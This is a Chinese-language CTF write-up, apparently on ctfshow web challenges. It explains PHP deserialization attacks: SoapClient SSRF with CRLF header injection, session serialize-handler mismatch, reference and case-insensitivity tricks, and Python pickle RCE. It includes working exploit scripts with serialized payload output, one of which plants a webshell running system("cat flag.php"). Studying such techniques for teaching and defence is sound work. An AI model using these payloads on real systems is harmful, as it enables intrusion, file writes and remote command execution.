1.SoapClient反序列化SSRF

CRLF

CRLF简介

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

举个例子

一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

所以一个正常的302跳转包是这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn

但如果我们输入的是

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

SoapClient

SOAP:Simple Object Access Protocol简单对象访问协议

正常情况下SaopClient类,调用一个不存在的函数,会去调用call这个魔术方法。

接下来看他俩结合的组合拳达到POST任意数据的效果。

我们可以在UA头当中进行CRLF注入,这样就能控制Content-Type以及POST的内容。

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

1od9x74a.bmp

我们可以看到这里成功POST了一个data=something

以上就是我们这套组合拳的使用,下边看一个具体的题目

web259

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

这里我们看到flag.php中得到flag的条件,首先将IP修改为127.0.0.1并且POST一个token=ctfshow,这里就能将flag内容写入到flag.txt当中,我们访问这个文件就能得到flag

但是这里的XFF是无法直接进行伪造的,我们再看下index.php这里有一个$vip->getFlag()这里并没有getFlag()这个函数,因此我们可以用SoapClient这个类,这样就会调用call这个魔术方法。同时配合CRLF构造POST的内容。

exp.php

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1', #因为flag.php里边有个pop,所以要多写几遍
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>

//运行结果
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

直接传参,然后访问flag.txt这样就能得到flag

2.php中的session反序列化

参考文章

这里我们首先了解一下PHP session的存储机制,PHP session的存储机制,是由session_serialize_handler来定义的。

session_serialize_handler定义的引擎有三种

php:键名+竖线+经过serialize()函数序列化处理的值

php_binary:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_serialize:经过serialize()函数序列化处理的数组

首先看一下利用php引擎的序列化结果

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:session|s:7:"xianzhi";

再看一下php_serialize处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值.

PHP session反序列化的产生的原因就是由于这两种方式的混用。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

先看看session的初始内容,如下:

a:1:{s:7:"session";s:5:"hello";}

存在另一个class.php 文件,内容如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class XianZhi{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>

实例化对象后,输出了panda

这两个文件的作用很清晰,session.php文件的处理器是php_serializeclass.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用php bug #71101,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。

首先生成序列化字符串,利用 payload 如下

<?php

class XianZhi{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
$str->name = "xianzhi";
echo serialize($str);
?>

payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

然后传入session.php

此时的 session内容如下:

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

再次访问class.php文件的时候,就会发现已经触发了php bug #71101

这个|将这个payload分割成两个部分,php处理时,会把|前边的内容作为键值,而后边的部分作为输入的内容进行反序列化,我们可以控制|后的部分,达到反序列化的目的。

web 263

首先发现了www.zip找到了题目源代码。

inc.php

# inc.php
......
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
......

这里存在file_put_contents()函数,可以写入木马。

同时注意到这个文件通过ini_set('session.serialize_handler', 'php');选择了php这个处理引擎。

index.php

error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

这里index.php没有特别声明session的处理引擎,因此他应该是采用了默认的php_serialize引擎,这里可以构造session反序列化然后写入木马。

访问首页,抓包可以看到 Cookie:limit 参数,可以把反序列化数据写入 session 文件

inc/inc.php 存在 ini_set('session.serialize_handler', 'php');session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件

exp.php

<?php
class User{
public $username = 'test.php';
public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>

加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 key 和 value 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了

具体步骤

1.生成 base64 编码序列化字符串

2.将字符串在浏览器中保存为cookie(输入cookie,刷新下页面),或者抓包改 cookie:limit 的值

3.请求 check.php 反序列化,生成文件

4.访问生成的文件,得到flag

3.反序列化中引用的使用

web 265

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

解题思路

这里我们看到,首先对我们输入的内容反序列化,然后将token设置为一个随机数的哈希值,输出flag的条件是passwordtoken相等,这里我们很难预测这个随机数,更不能构造哈希的碰撞,这里使用引用

具体操作如下

exp.php

<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
}

$a=new ctfshowAdmin('123','123');
$a->password=&$a->token;
echo serialize($a);

#O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"123";s:8:"password";R:2;}

4.PHP对类名的大小写不敏感

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

解题思路

首先题目会反序列我们输入的内容,我们只要能正常反序列化这个类然后触发destruct函数就能正常输出flag,但是这里正则过滤了类名,我们可以用大小写绕过。

exp.php

<?php
class Ctfshow{};
$a = new Ctfshow();
echo serialize($a);
?>

//O:7:"Ctfshow":0:{}

这里总结一下大小的问题。

区分大小写的: 变量名、常量名、数组索引(键名key)

不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

5.pickle 反序列化

打开页面查看源代码发现

<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

我们输入一个base64编码的字符串然后触发pickle的反序列,这里可以RCE

参考文章

exp.py

1711683317444.png

因为环境没有bash这里用/bin/sh

之后可以反弹shell,拿到flag